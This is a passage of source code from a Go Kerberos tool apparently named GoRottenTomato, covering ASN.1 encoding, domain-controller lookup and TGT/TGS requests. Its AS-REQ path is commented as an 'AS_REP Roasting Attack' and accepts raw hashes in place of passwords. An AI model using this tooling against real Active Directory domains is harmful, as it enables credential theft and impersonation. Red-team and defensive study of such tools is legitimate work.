| v /= 10 362 | } 363 | return append(dst, bytes[:]...) 364 | } 365 | 366 | func outsideUTCRange(t time.Time) bool { 367 | year := t.Year() 368 | return year < 1950 || year >= 2050 369 | } 370 | 371 | func makeUTCTime(t time.Time) (e encoder, err error) { 372 | dst := make([]byte, 0, 18) 373 | 374 | dst, err = appendUTCTime(dst, t) 375 | if err != nil { 376 | return nil, err 377 | } 378 | 379 | return bytesEncoder(dst), nil 380 | } 381 | 382 | func makeGeneralizedTime(t time.Time) (e encoder, err error) { 383 | dst := make([]byte, 0, 20) 384 | 385 | dst, err = appendGeneralizedTime(dst, t) 386 | if err != nil { 387 | return nil, err 388 | } 389 | 390 | return bytesEncoder(dst), nil 391 | } 392 | 393 | func appendUTCTime(dst []byte, t time.Time) (ret []byte, err error) { 394 | year := t.Year() 395 | 396 | switch { 397 | case 1950 <= year && year < 2000: 398 | dst = appendTwoDigits(dst, year-1900) 399 | case 2000 <= year && year < 2050: 400 | dst = appendTwoDigits(dst, year-2000) 401 | default: 402 | return nil, StructuralError{"cannot represent time as UTCTime"} 403 | } 404 | 405 | return appendTimeCommon(dst, t), nil 406 | } 407 | 408 | func appendGeneralizedTime(dst []byte, t time.Time) (ret []byte, err error) { 409 | year := t.Year() 410 | if year < 0 || year > 9999 { 411 | return nil, StructuralError{"cannot represent time as GeneralizedTime"} 412 | } 413 | 414 | dst = appendFourDigits(dst, year) 415 | 416 | return appendTimeCommon(dst, t), nil 417 | } 418 | 419 | func appendTimeCommon(dst []byte, t time.Time) []byte { 420 | _, month, day := t.Date() 421 | 422 | dst = appendTwoDigits(dst, int(month)) 423 | dst = appendTwoDigits(dst, day) 424 | 425 | hour, min, sec := t.Clock() 426 | 427 | dst = appendTwoDigits(dst, hour) 428 | dst = appendTwoDigits(dst, min) 429 | dst = appendTwoDigits(dst, sec) 430 | 431 | _, offset := t.Zone() 432 | 433 | switch { 434 | case offset/60 == 0: 435 | return append(dst, 'Z') 436 | case offset > 0: 437 | dst = append(dst, '+') 438 | case offset < 0: 439 | dst = append(dst, '-') 440 | } 441 | 442 | offsetMinutes := offset / 60 443 | if offsetMinutes < 0 { 444 | offsetMinutes = -offsetMinutes 445 | } 446 | 447 | dst = appendTwoDigits(dst, offsetMinutes/60) 448 | dst = appendTwoDigits(dst, offsetMinutes%60) 449 | 450 | return dst 451 | } 452 | 453 | func stripTagAndLength(in []byte) []byte { 454 | _, offset, err := parseTagAndLength(in, 0) 455 | if err != nil { 456 | return in 457 | } 458 | return in[offset:] 459 | } 460 | 461 | func makeBody(value reflect.Value, params fieldParameters) (e encoder, err error) { 462 | switch value.Type() { 463 | case flagType: 464 | return bytesEncoder(nil), nil 465 | case timeType: 466 | t := value.Interface().(time.Time) 467 | if params.timeType == TagGeneralizedTime || outsideUTCRange(t) { 468 | return makeGeneralizedTime(t) 469 | } 470 | return makeUTCTime(t) 471 | case bitStringType: 472 | return bitStringEncoder(value.Interface().(BitString)), nil 473 | case objectIdentifierType: 474 | return makeObjectIdentifier(value.Interface().(ObjectIdentifier)) 475 | case bigIntType: 476 | return makeBigInt(value.Interface().(*big.Int)) 477 | } 478 | 479 | switch v := value; v.Kind() { 480 | case reflect.Bool: 481 | if v.Bool() { 482 | return byteFFEncoder, nil 483 | } 484 | return byte00Encoder, nil 485 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: 486 | return int64Encoder(v.Int()), nil 487 | case reflect.Struct: 488 | t := v.Type() 489 | 490 | for i := 0; i < t.NumField(); i++ { 491 | if !t.Field(i).IsExported() { 492 | return nil, StructuralError{"struct contains unexported fields"} 493 | } 494 | } 495 | 496 | startingField := 0 497 | 498 | n := t.NumField() 499 | if n == 0 { 500 | return bytesEncoder(nil), nil 501 | } 502 | 503 | // If the first element of the structure is a non-empty 504 | // RawContents, then we don't bother serializing the rest. 505 | if t.Field(0).Type == rawContentsType { 506 | s := v.Field(0) 507 | if s.Len() > 0 { 508 | bytes := s.Bytes() 509 | /* The RawContents will contain the tag and 510 | * length fields but we'll also be writing 511 | * those ourselves, so we strip them out of 512 | * bytes */ 513 | return bytesEncoder(stripTagAndLength(bytes)), nil 514 | } 515 | 516 | startingField = 1 517 | } 518 | 519 | switch n1 := n - startingField; n1 { 520 | case 0: 521 | return bytesEncoder(nil), nil 522 | case 1: 523 | // fmt.Printf("MAKE FIELD: %s\n", t.Field(startingField).Name) 524 | return makeField(v.Field(startingField), parseFieldParameters(t.Field(startingField).Tag.Get("asn1"))) 525 | default: 526 | m := make([]encoder, n1) 527 | for i := 0; i < n1; i++ { 528 | // fmt.Printf("MAKE FIELD: %s\n", t.Field(i+startingField).Name) 529 | m[i], err = makeField(v.Field(i+startingField), parseFieldParameters(t.Field(i+startingField).Tag.Get("asn1"))) 530 | if err != nil { 531 | return nil, err 532 | } 533 | } 534 | 535 | return multiEncoder(m), nil 536 | } 537 | case reflect.Slice: 538 | sliceType := v.Type() 539 | if sliceType.Elem().Kind() == reflect.Uint8 { 540 | return bytesEncoder(v.Bytes()), nil 541 | } 542 | 543 | // Savoir: https://github.com/jcmturner/gofork/blob/dc7c13fece037a4a36e2b3c69db4991498d30692/encoding/asn1/marshal.go#L484 544 | // var fp fieldParameters 545 | params.explicit = false 546 | params.tag = nil 547 | switch l := v.Len(); l { 548 | case 0: 549 | return bytesEncoder(nil), nil 550 | case 1: 551 | return makeField(v.Index(0), params) 552 | default: 553 | m := make([]encoder, l) 554 | 555 | for i := 0; i < l; i++ { 556 | m[i], err = makeField(v.Index(i), params) 557 | if err != nil { 558 | return nil, err 559 | } 560 | } 561 | 562 | if params.set { 563 | return setEncoder(m), nil 564 | } 565 | return multiEncoder(m), nil 566 | } 567 | case reflect.String: 568 | // fmt.Printf("makeBody - case String: %s\n", params.stringType) 569 | switch params.stringType { 570 | case TagIA5String: 571 | return makeIA5String(v.String()) 572 | case TagPrintableString: 573 | return makePrintableString(v.String()) 574 | case TagNumericString: 575 | return makeNumericString(v.String()) 576 | case TagGeneralString: 577 | // fmt.Printf("makeBody - case String - TagGeneralString\n") 578 | return makeUTF8String(v.String()), nil 579 | default: 580 | return makeUTF8String(v.String()), nil 581 | } 582 | } 583 | 584 | return nil, StructuralError{"unknown Go type"} 585 | } 586 | 587 | func makeField(v reflect.Value, params fieldParameters) (e encoder, err error) { 588 | if !v.IsValid() { 589 | return nil, fmt.Errorf("asn1: cannot marshal nil value") 590 | } 591 | // If the field is an interface{} then recurse into it. 592 | if v.Kind() == reflect.Interface && v.Type().NumMethod() == 0 { 593 | return makeField(v.Elem(), params) 594 | } 595 | 596 | if v.Kind() == reflect.Slice && v.Len() == 0 && params.omitEmpty { 597 | return bytesEncoder(nil), nil 598 | } 599 | 600 | if params.optional && params.defaultValue != nil && canHaveDefaultValue(v.Kind()) { 601 | defaultValue := reflect.New(v.Type()).Elem() 602 | defaultValue.SetInt(*params.defaultValue) 603 | 604 | if reflect.DeepEqual(v.Interface(), defaultValue.Interface()) { 605 | return bytesEncoder(nil), nil 606 | } 607 | } 608 | 609 | // If no default value is given then the zero value for the type is 610 | // assumed to be the default value. This isn't obviously the correct 611 | // behavior, but it's what Go has traditionally done. 612 | if params.optional && params.defaultValue == nil { 613 | if reflect.DeepEqual(v.Interface(), reflect.Zero(v.Type()).Interface()) { 614 | return bytesEncoder(nil), nil 615 | } 616 | } 617 | 618 | if v.Type() == rawValueType { 619 | rv := v.Interface().(RawValue) 620 | if len(rv.FullBytes) != 0 { 621 | return bytesEncoder(rv.FullBytes), nil 622 | } 623 | 624 | t := new(taggedEncoder) 625 | 626 | t.tag = bytesEncoder(appendTagAndLength(t.scratch[:0], tagAndLength{rv.Class, rv.Tag, len(rv.Bytes), rv.IsCompound})) 627 | t.body = bytesEncoder(rv.Bytes) 628 | 629 | return t, nil 630 | } 631 | 632 | matchAny, tag, isCompound, ok := getUniversalType(v.Type()) 633 | if !ok || matchAny { 634 | return nil, StructuralError{fmt.Sprintf("unknown Go type: %v", v.Type())} 635 | } 636 | 637 | if params.timeType != 0 && tag != TagUTCTime { 638 | return nil, StructuralError{"explicit time type given to non-time member"} 639 | } 640 | 641 | // Savoir: https://github.com/jcmturner/gofork/blob/dc7c13fece037a4a36e2b3c69db4991498d30692/encoding/asn1/marshal.go#L567 642 | // Add Slice of strings 643 | if params.stringType != 0 && !(tag == TagPrintableString || (v.Kind() == reflect.Slice && tag == 16 && v.Type().Elem().Kind() == reflect.String)) { 644 | return nil, StructuralError{"explicit string type given to non-string member"} 645 | } 646 | 647 | switch tag { 648 | case TagPrintableString: 649 | if params.stringType == 0 { 650 | // This is a string without an explicit string type. We'll use 651 | // a PrintableString if the character set in the string is 652 | // sufficiently limited, otherwise we'll use a UTF8String. 653 | for _, r := range v.String() { 654 | if r >= utf8.RuneSelf || !isPrintable(byte(r), rejectAsterisk, rejectAmpersand) { 655 | if !utf8.ValidString(v.String()) { 656 | return nil, errors.New("asn1: string not valid UTF-8") 657 | } 658 | tag = TagUTF8String 659 | break 660 | } 661 | } 662 | } else { 663 | tag = params.stringType 664 | } 665 | case TagUTCTime: 666 | if params.timeType == TagGeneralizedTime || outsideUTCRange(v.Interface().(time.Time)) { 667 | tag = TagGeneralizedTime 668 | } 669 | } 670 | 671 | if params.set { 672 | if tag != TagSequence { 673 | return nil, StructuralError{"non sequence tagged as set"} 674 | } 675 | tag = TagSet 676 | } 677 | 678 | // makeField can be called for a slice that should be treated as a SET 679 | // but doesn't have params.set set, for instance when using a slice 680 | // with the SET type name suffix. In this case getUniversalType returns 681 | // TagSet, but makeBody doesn't know about that so will treat the slice 682 | // as a sequence. To work around this we set params.set. 683 | if tag == TagSet && !params.set { 684 | params.set = true 685 | } 686 | 687 | t := new(taggedEncoder) 688 | 689 | t.body, err = makeBody(v, params) 690 | if err != nil { 691 | return nil, err 692 | } 693 | 694 | bodyLen := t.body.Len() 695 | 696 | class := ClassUniversal 697 | // fmt.Printf("makeField - params: %+v\n", params) 698 | if params.tag != nil { 699 | // fmt.Printf("makeField - tag: %+v\n", *params.tag) 700 | if params.application { 701 | class = ClassApplication 702 | } else if params.private { 703 | class = ClassPrivate 704 | } else { 705 | class = ClassContextSpecific 706 | } 707 | 708 | if params.explicit { 709 | t.tag = bytesEncoder(appendTagAndLength(t.scratch[:0], tagAndLength{ClassUniversal, tag, bodyLen, isCompound})) 710 | 711 | tt := new(taggedEncoder) 712 | 713 | tt.body = t 714 | 715 | tt.tag = bytesEncoder(appendTagAndLength(tt.scratch[:0], tagAndLength{ 716 | class: class, 717 | tag: *params.tag, 718 | length: bodyLen + t.tag.Len(), 719 | isCompound: true, 720 | })) 721 | 722 | return tt, nil 723 | } 724 | 725 | // implicit tag. 726 | tag = *params.tag 727 | } 728 | 729 | t.tag = bytesEncoder(appendTagAndLength(t.scratch[:0], tagAndLength{class, tag, bodyLen, isCompound})) 730 | 731 | return t, nil 732 | } 733 | 734 | // Marshal returns the ASN.1 encoding of val. 735 | // 736 | // In addition to the struct tags recognised by Unmarshal, the following can be 737 | // used: 738 | // 739 | // ia5: causes strings to be marshaled as ASN.1, IA5String values 740 | // omitempty: causes empty slices to be skipped 741 | // printable: causes strings to be marshaled as ASN.1, PrintableString values 742 | // utf8: causes strings to be marshaled as ASN.1, UTF8String values 743 | // utc: causes time.Time to be marshaled as ASN.1, UTCTime values 744 | // generalized: causes time.Time to be marshaled as ASN.1, GeneralizedTime values 745 | func Marshal(val interface{}) ([]byte, error) { 746 | return MarshalWithParams(val, "") 747 | } 748 | 749 | // MarshalWithParams allows field parameters to be specified for the 750 | // top-level element. The form of the params is the same as the field tags. 751 | func MarshalWithParams(val interface{}, params string) ([]byte, error) { 752 | e, err := makeField(reflect.ValueOf(val), parseFieldParameters(params)) 753 | if err != nil { 754 | return nil, err 755 | } 756 | b := make([]byte, e.Len()) 757 | e.Encode(b) 758 | return b, nil 759 | } -------------------------------------------------------------------------------- /funcs/fqdn.go: -------------------------------------------------------------------------------- 1 | package funcs 2 | 3 | import ( 4 | "net" 5 | "strings" 6 | ) 7 | 8 | type Domain struct { 9 | FQDN string 10 | IP string 11 | } 12 | 13 | func GetDomain(relm, dcip string) (*Domain, error) { 14 | domain := new(Domain) 15 | 16 | domain.FQDN = relm 17 | domain.IP = dcip 18 | 19 | if dcip != "" { 20 | ptr, _ := net.LookupAddr(dcip) 21 | if ptr[0] == "bogon" { 22 | return domain, nil 23 | } 24 | 25 | _, srv, err := net.LookupSRV("ldap", "tcp", relm) 26 | if err != nil { 27 | return domain, nil 28 | } 29 | ip, err := net.LookupHost(srv[0].Target) 30 | if err != nil { 31 | return domain, nil 32 | } 33 | domain.IP = ip[0] 34 | domain.FQDN = srv[0].Target 35 | return domain, nil 36 | } 37 | 38 | ip, err := net.LookupHost(relm) 39 | if err != nil { 40 | return nil, err 41 | } 42 | ptr, err := net.LookupAddr(ip[0]) 43 | if err != nil { 44 | return nil, err 45 | } 46 | domain.FQDN = relm 47 | domain.IP = ip[0] 48 | if ptr[0] == "bogon" { 49 | return domain, nil 50 | } 51 | _, srv, err := net.LookupSRV("ldap", "tcp", relm) 52 | if err != nil { 53 | return domain, nil 54 | } 55 | for _, value := range srv{ 56 | for _, addr := range ptr{ 57 | if strings.Contains(value.Target, addr) { 58 | domain.FQDN = value.Target 59 | return domain, nil 60 | } 61 | } 62 | } 63 | domain.FQDN = relm 64 | return domain, nil 65 | } 66 | 67 | -------------------------------------------------------------------------------- /funcs/funcs.go: -------------------------------------------------------------------------------- 1 | package funcs 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "crypto/rand" 6 | "math" 7 | "math/big" 8 | ) 9 | 10 | 11 | func GetNonce() int { 12 | var count int 13 | LOOP: nonce, err := rand.Int(rand.Reader, big.NewInt(math.MaxInt32)) 14 | if count > 7 { 15 | return 1760276845 16 | } 17 | if err != nil { 18 | count ++ 19 | goto LOOP 20 | } 21 | value := int(nonce.Int64()) 22 | if value == 12381973 || value == 1818848256{ 23 | count ++ 24 | goto LOOP 25 | } 26 | return value 27 | } 28 | 29 | func AddASNTag(data []byte, tag int) []byte { 30 | raw := asn1.RawValue{ 31 | Class: asn1.ClassApplication, 32 | IsCompound: true, 33 | Tag: tag, 34 | Bytes: data, 35 | } 36 | ser, _ := asn1.Marshal(raw) 37 | return ser 38 | } 39 | 40 | func MarshalLengthBytes(l int) []byte { 41 | if l <= 127 { 42 | return []byte{byte(l)} 43 | } 44 | var b []byte 45 | p := 1 46 | for i := 1; i < 127; { 47 | b = append([]byte{byte((l % (p * 256)) / p)}, b...) 48 | p = p * 256 49 | l = l - l%p 50 | if l <= 0 { 51 | break 52 | } 53 | } 54 | return append([]byte{byte(128 + len(b))}, b...) 55 | } -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module "GoRottenTomato" 2 | 3 | go 1.17 -------------------------------------------------------------------------------- /krb5/AskTGS/AskTGS.go: -------------------------------------------------------------------------------- 1 | package AskTGS 2 | 3 | import ( 4 | "GoRottenTomato/krb5/netWork" 5 | "GoRottenTomato/krb5/procedure" 6 | "GoRottenTomato/krb5/types" 7 | "fmt" 8 | ) 9 | 10 | func AskTGS(tgsreq procedure.TGS_REQ, dcIP string, key types.EncryptionKey) (*procedure.TGS_REP, error) { 11 | mtgsreq, err := tgsreq.Marshal() 12 | if err != nil { 13 | return nil, fmt.Errorf("asktgs failed %v", err) 14 | } 15 | resp, err := netWork.SendToKDC(dcIP, mtgsreq) 16 | if err != nil { 17 | return nil, fmt.Errorf("asktgs requesting for %s failed %v", tgsreq.Req_Body.SName.Name_String, err) 18 | } 19 | 20 | 21 | return GetTGS(resp, key) 22 | } 23 | -------------------------------------------------------------------------------- /krb5/AskTGS/funcs.go: -------------------------------------------------------------------------------- 1 | package AskTGS 2 | 3 | import ( 4 | "GoRottenTomato/krb5/procedure" 5 | "GoRottenTomato/krb5/types" 6 | "fmt" 7 | ) 8 | 9 | func GetTGS(data []byte, key types.EncryptionKey) (*procedure.TGS_REP, error) { 10 | var tgsrep procedure.TGS_REP 11 | err := tgsrep.Unmarshal(data) 12 | if err != nil { 13 | return nil, err 14 | } 15 | err = tgsrep.DecryptEncPart(key) 16 | if err != nil { 17 | return nil, fmt.Errorf("tgsrep decrypt enc part failed %v", err) 18 | } 19 | return &tgsrep, nil 20 | } 21 | -------------------------------------------------------------------------------- /krb5/AskTGT/AskTGT.go: -------------------------------------------------------------------------------- 1 | package AskTGT 2 | 3 | import ( 4 | "GoRottenTomato/krb5/KRBError" 5 | "GoRottenTomato/krb5/flags" 6 | "GoRottenTomato/krb5/netWork" 7 | "GoRottenTomato/krb5/procedure" 8 | "GoRottenTomato/krb5/types" 9 | "fmt" 10 | "strings" 11 | ) 12 | 13 | func AskTGT(domain, username, password, dcIP, hash string, noPac bool, eType int32) (*procedure.AS_REP, error) { 14 | clientName := types.PrincipalName{ 15 | Name_Type: flags.NT_PRINCIPAL, 16 | Name_String: []string{username}, 17 | } 18 | 19 | serverName := types.PrincipalName{ 20 | Name_Type: flags.NT_SRV_INST, 21 | Name_String: []string{"krbtgt", domain}, 22 | } 23 | 24 | flag := types.GetKerberosFlags(flags.Renewable, flags.Forwardable, flags.Renewable_OK) 25 | realm := strings.ToUpper(domain) 26 | asreq := procedure.NewASREQ(realm, clientName, serverName, flag, eType) 27 | 28 | data, err := asreq.Marshal() 29 | if err != nil { 30 | return nil, fmt.Errorf("asreq marshaling failed %v", err) 31 | } 32 | 33 | if password == "" && hash == "" { 34 | //AS_REP Roasting Attack 35 | return roasting(dcIP, data) 36 | } 37 | 38 | resp, err := netWork.SendToKDC(dcIP, data) 39 | fmt.Printf("[*]Building AS_REQ for \"%s/%s\"\n", username, domain) 40 | var key types.EncryptionKey 41 | if err != nil { 42 | if e, ok := err.(KRBError.KRB_Error); ok { 43 | switch e.Error_Code { 44 | case KRBError.KDC_ERR_PREAUTH_REQUIRED, KRBError.KDC_ERR_PREAUTH_FAILED: 45 | key, err = setPAData(&e, asreq, clientName, password, hash, realm, noPac, eType) 46 | if err != nil { 47 | return nil, err 48 | } 49 | data, err = asreq.Marshal() 50 | if err != nil { 51 | return nil, err 52 | } 53 | resp, err = netWork.SendToKDC(dcIP, data) 54 | if err != nil { 55 | return nil, err 56 | } 57 | default: 58 | return nil, fmt.Errorf("%v", err) 59 | } 60 | }else { 61 | return nil, fmt.Errorf("failed sending AS_REQ because %v", err) 62 | } 63 | }else { 64 | return nil, fmt.Errorf("There is no pre-authent, maybe you can use asreproast for %s@%s\n", username, domain) 65 | } 66 | 67 | return getTGT(resp, key) 68 | } 69 | -------------------------------------------------------------------------------- /krb5/AskTGT/funcs.go: -------------------------------------------------------------------------------- 1 | package AskTGT 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/KRBError" 6 | "GoRottenTomato/krb5/crypto" 7 | "GoRottenTomato/krb5/crypto/etype" 8 | "GoRottenTomato/krb5/flags" 9 | "GoRottenTomato/krb5/netWork" 10 | "GoRottenTomato/krb5/procedure" 11 | "GoRottenTomato/krb5/types" 12 | "encoding/hex" 13 | "fmt" 14 | "time" 15 | ) 16 | 17 | //set PA Data for AS_REQ 18 | func setPAData(krberr *KRBError.KRB_Error, asreq *procedure.AS_REQ, cname types.PrincipalName , password, hash, realm string, noPac bool, eTypeID int32) ( key types.EncryptionKey, err error) { 19 | //nopac == false ude pac else not 20 | kerbPaPacREQUEST, err := types.NewKerbPaPacREQUEST(noPac) 21 | if err != nil { 22 | return 23 | } 24 | asreq.Padata = []types.PA_DATA{ 25 | *kerbPaPacREQUEST, 26 | } 27 | 28 | if krberr == nil { 29 | eType := crypto.GetEType(eTypeID) 30 | key, err = getEncryptionKey(eType, cname, password, hash, realm, nil) 31 | if err != nil { 32 | return key, fmt.Errorf("set PAData error because: %v", err) 33 | } 34 | }else { 35 | eType, e := getPreAuthenEType(krberr) 36 | if e != nil { 37 | err = e 38 | return 39 | } 40 | key, err = getEncryptionKey(eType, cname, password, hash, realm, krberr) 41 | if err != nil { 42 | return key, fmt.Errorf("set PAData error because: %v", err) 43 | } 44 | } 45 | 46 | fmt.Printf("[*]Starting PreAuthentication with %s hash: %s\n", crypto.GetETypeString(eTypeID), hex.EncodeToString(key.KeyValue)) 47 | 48 | paTimeStamp, e := getPAEncTimeStamp() 49 | if e != nil { 50 | err = e 51 | return 52 | } 53 | 54 | paEncTimeStamp, e := crypto.GetEncryptedData(paTimeStamp, key, flags.AS_REQ_PA_ENC_TIMESTAMP, 1) 55 | if e != nil { 56 | err = e 57 | return 58 | } 59 | 60 | pb, e := paEncTimeStamp.Marshal() 61 | if e != nil { 62 | err = e 63 | return key, fmt.Errorf("time stamp marshaled error %v", err) 64 | } 65 | pa := types.PA_DATA{ 66 | Padata_Type: flags.PA_ENC_TIMESTAMP, 67 | Padata_Value: pb, 68 | } 69 | asreq.Padata = append(asreq.Padata, pa) 70 | return 71 | } 72 | 73 | func getEncryptionKey(eType etype.EType, cname types.PrincipalName, password, hash, realm string, krberr *KRBError.KRB_Error) (types.EncryptionKey, error) { 74 | if password != "" { 75 | if krberr != nil && krberr.Error_Code == flags.KDC_ERR_PREAUTH_REQUIRED { 76 | var pas types.PADataSequence 77 | err := pas.Unmarshal(krberr.E_Data) 78 | if err != nil { 79 | return types.EncryptionKey{}, fmt.Errorf("getEncryptionKey failed %v", err) 80 | } 81 | key, err := crypto.GetEncryptionKeyFromPassword(password, realm, eType, cname, pas) 82 | return key, err 83 | } 84 | key, err := crypto.GetEncryptionKeyFromPassword(password, realm, eType, cname, types.PADataSequence{}) 85 | return key, err 86 | } else if hash != "" { 87 | value, err := hex.DecodeString(hash) 88 | if err != nil { 89 | fmt.Println(err) 90 | } 91 | key := types.EncryptionKey{ 92 | KeyType: eType.GetETypeID(), 93 | KeyValue: value, 94 | } 95 | return key, nil 96 | }else { 97 | return types.EncryptionKey{}, fmt.Errorf("please provide password or hash") 98 | } 99 | } 100 | 101 | func getPreAuthenEType(krberr *KRBError.KRB_Error) (eType etype.EType, err error) { 102 | var eTypeID int32 103 | var pas types.PADataSequence 104 | err = pas.Unmarshal(krberr.E_Data) 105 | if err != nil { 106 | return nil, err 107 | } 108 | for _, value := range pas{ 109 | switch value.Padata_Type { 110 | case flags.PA_ETYPE_INFO2: 111 | info, e := value.GetETypeINFO2() 112 | if e != nil { 113 | err = e 114 | return 115 | } 116 | eTypeID = info[0].Etype 117 | break 118 | case flags.PA_ETYPE_INFO: 119 | info, e := value.GetETypeINFO() 120 | if e != nil { 121 | err = e 122 | return 123 | } 124 | eTypeID = info[0].Etype 125 | } 126 | } 127 | //use aes128 or aes 256 default rc4 128 | eType = crypto.GetEType(eTypeID) 129 | return 130 | } 131 | 132 | func getPAEncTimeStamp() ([]byte, error) { 133 | now := time.Now().UTC() 134 | pa := types.PA_ENC_TS_ENC{ 135 | Patimestamp: now, 136 | Pausec: int((now.UnixNano() / int64(time.Microsecond)) - (now.Unix() * 1e6)), 137 | } 138 | data, err := asn1.Marshal(pa) 139 | if err != nil { 140 | return nil, fmt.Errorf("get pa data time stamp failed %v", err) 141 | } 142 | return data, nil 143 | } 144 | 145 | func getTGT(data []byte, key types.EncryptionKey) (*procedure.AS_REP, error) { 146 | var asrep procedure.AS_REP 147 | err := asrep.Unmarshal(data) 148 | if err != nil { 149 | return nil, err 150 | } 151 | err = asrep.DecryptEncPart(key) 152 | if err != nil { 153 | return nil, err 154 | } 155 | return &asrep, nil 156 | } 157 | 158 | func roasting(dcIP string, data []byte) (*procedure.AS_REP, error) { 159 | resp, err := netWork.SendToKDC(dcIP, data) 160 | if err != nil { 161 | return nil, err 162 | } 163 | var asrep procedure.AS_REP 164 | err = asrep.Unmarshal(resp) 165 | if err != nil { 166 | return nil, err 167 | } 168 | return &asrep, nil 169 | } -------------------------------------------------------------------------------- /krb5/KRBError/KRBError.go: -------------------------------------------------------------------------------- 1 | package KRBError 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/flags" 6 | "GoRottenTomato/krb5/types" 7 | "fmt" 8 | "time" 9 | ) 10 | 11 | type KRB_Error struct { 12 | Pvno int `asn1:"explicit,tag:0"` 13 | Msg_Type int `asn1:"explicit,tag:1"` 14 | CTime time.Time `asn1:"generalized,optional,explicit,tag:2"` 15 | Cusec int `asn1:"optional,explicit,tag:3"` 16 | STime time.Time `asn1:"generalized,explicit,tag:4"` 17 | Susec int `asn1:"explicit,tag:5"` 18 | Error_Code int32 `asn1:"explicit,tag:6"` 19 | CRealm string `asn1:"generalstring,optional,explicit,tag:7"` 20 | CName types.PrincipalName `asn1:"optional,explicit,tag:8"` 21 | Realm string `asn1:"generalstring,explicit,tag:9"` 22 | SName types.PrincipalName `asn1:"explicit,tag:10"` 23 | E_Text string `asn1:"generalstring,optional,explicit,tag:11"` 24 | E_Data []byte `asn1:"optional,explicit,tag:12"` 25 | } 26 | 27 | func (k *KRB_Error)Unmarshal(data []byte) error { 28 | _, err := asn1.UnmarshalWithParams(data, k, fmt.Sprintf("application,explicit,tag:%v", flags.KRBError)) 29 | if err != nil { 30 | return Errorf(err, EncodingError, "KRB_ERROR unmarshal error") 31 | } 32 | expectedMsgType := flags.KRB_ERROR 33 | if k.Msg_Type != expectedMsgType { 34 | return NewErrorf(KRBMsgError, "message ID does not indicate a KRB_ERROR. Expected: %v; Actual: %v", expectedMsgType, k.Msg_Type) 35 | } 36 | return nil 37 | } 38 | 39 | func (k KRB_Error)Error() string { 40 | etxt := fmt.Sprintf("KRB Error %s ", Lookup(k.Error_Code)) 41 | if k.E_Text != "" { 42 | etxt = fmt.Sprintf("%s - %s", etxt, k.E_Text) 43 | } 44 | return etxt 45 | } 46 | 47 | func ProcessUnmarshalReplyError(b []byte, err error) error { 48 | switch err.(type) { 49 | case asn1.StructuralError: 50 | var krberr KRB_Error 51 | tmperr := krberr.Unmarshal(b) 52 | if tmperr != nil { 53 | return Errorf(err, EncodingError, "failed to unmarshal KDC's reply") 54 | } 55 | return krberr 56 | default: 57 | return Errorf(err, EncodingError, "failed to unmarshal KDC's reply") 58 | } 59 | } -------------------------------------------------------------------------------- /krb5/KRBError/err.go: -------------------------------------------------------------------------------- 1 | package KRBError 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | // Error type descriptions. 9 | const ( 10 | separator = " < " 11 | EncodingError = "Encoding_Error" 12 | NetworkingError = "Networking_Error" 13 | DecryptingError = "Decrypting_Error" 14 | EncryptingError = "Encrypting_Error" 15 | ChksumError = "Checksum_Error" 16 | KRBMsgError = "KRBMessage_Handling_Error" 17 | ConfigError = "Configuration_Error" 18 | KDCError = "KDC_Error" 19 | ) 20 | 21 | // Krberror is an error type for gokrb5 22 | type Krberror struct { 23 | RootCause string 24 | EText []string 25 | } 26 | 27 | // Error function to implement the error interface. 28 | func (e Krberror) Error() string { 29 | return fmt.Sprintf("[Root cause: %s] ", e.RootCause) + strings.Join(e.EText, separator) 30 | } 31 | 32 | // Add another error statement to the error. 33 | func (e *Krberror) Add(et string, s string) { 34 | e.EText = append([]string{fmt.Sprintf("%s: %s", et, s)}, e.EText...) 35 | } 36 | 37 | // Errorf appends to or creates a new Krberror. 38 | func Errorf(err error, et, format string, a ...interface{}) Krberror { 39 | if e, ok := err.(Krberror); ok { 40 | e.Add(et, fmt.Sprintf(format, a...)) 41 | return e 42 | } 43 | return NewErrorf(et, format+": %s", append(a, err)...) 44 | } 45 | 46 | // NewErrorf creates a new Krberror from a formatted string. 47 | func NewErrorf(et, format string, a ...interface{}) Krberror { 48 | var s string 49 | if len(a) > 0 { 50 | s = fmt.Sprintf("%s: %s", et, fmt.Sprintf(format, a...)) 51 | } else { 52 | s = fmt.Sprintf("%s: %s", et, format) 53 | } 54 | return Krberror{ 55 | RootCause: et, 56 | EText: []string{s}, 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /krb5/KRBError/lookup.go: -------------------------------------------------------------------------------- 1 | package KRBError 2 | 3 | import "fmt" 4 | 5 | //Kerberos Error Codes 6 | //https://datatracker.ietf.org/doc/html/rfc4120#section-7.5.9 7 | const ( 8 | KDC_ERR_C_PRINCIPAL_UNKNOWN int32 = 6 9 | KDC_ERR_S_PRINCIPAL_UNKNOWN int32 = 7 10 | KDC_ERR_NEVER_VALID int32 = 11 11 | KDC_ERR_BADOPTION int32 = 13 12 | KDC_ERR_ETYPE_NOTSUPP int32 = 14 13 | KDC_ERR_PADATA_TYPE_NOSUPP int32 = 16 14 | KDC_ERR_PREAUTH_FAILED int32 = 24 15 | KDC_ERR_PREAUTH_REQUIRED int32 = 25 16 | KRB_AP_ERR_BAD_INTEGRITY int32 = 31 17 | KRB_AP_ERR_TKT_EXPIRED int32 = 32 18 | KRB_AP_ERR_TKT_NYV int32 = 33 19 | KRB_AP_ERR_BADMATCH int32 = 36 20 | KRB_AP_ERR_SKEW int32 = 37 21 | KRB_AP_ERR_MODIFIED int32 = 41 22 | KRB_ERR_GENERIC int32 = 60 23 | KDC_ERR_WRONG_REALM int32 = 68 24 | ) 25 | 26 | func Lookup(i int32) string { 27 | if s, ok := errorcodeLookup[i]; ok { 28 | return fmt.Sprintf("(0x%x) : %s", i, s) 29 | } 30 | return fmt.Sprintf("Unknown ErrorCode 0x%x", i) 31 | } 32 | 33 | var errorcodeLookup = map[int32]string{ 34 | KDC_ERR_C_PRINCIPAL_UNKNOWN: "KDC_ERR_C_PRINCIPAL_UNKNOWN Client not found in Kerberos database", 35 | KDC_ERR_S_PRINCIPAL_UNKNOWN: "KDC_ERR_S_PRINCIPAL_UNKNOWN Server not found in Kerberos database", 36 | KDC_ERR_NEVER_VALID: "KDC_ERR_NEVER_VALID Requested start time is later than end time", 37 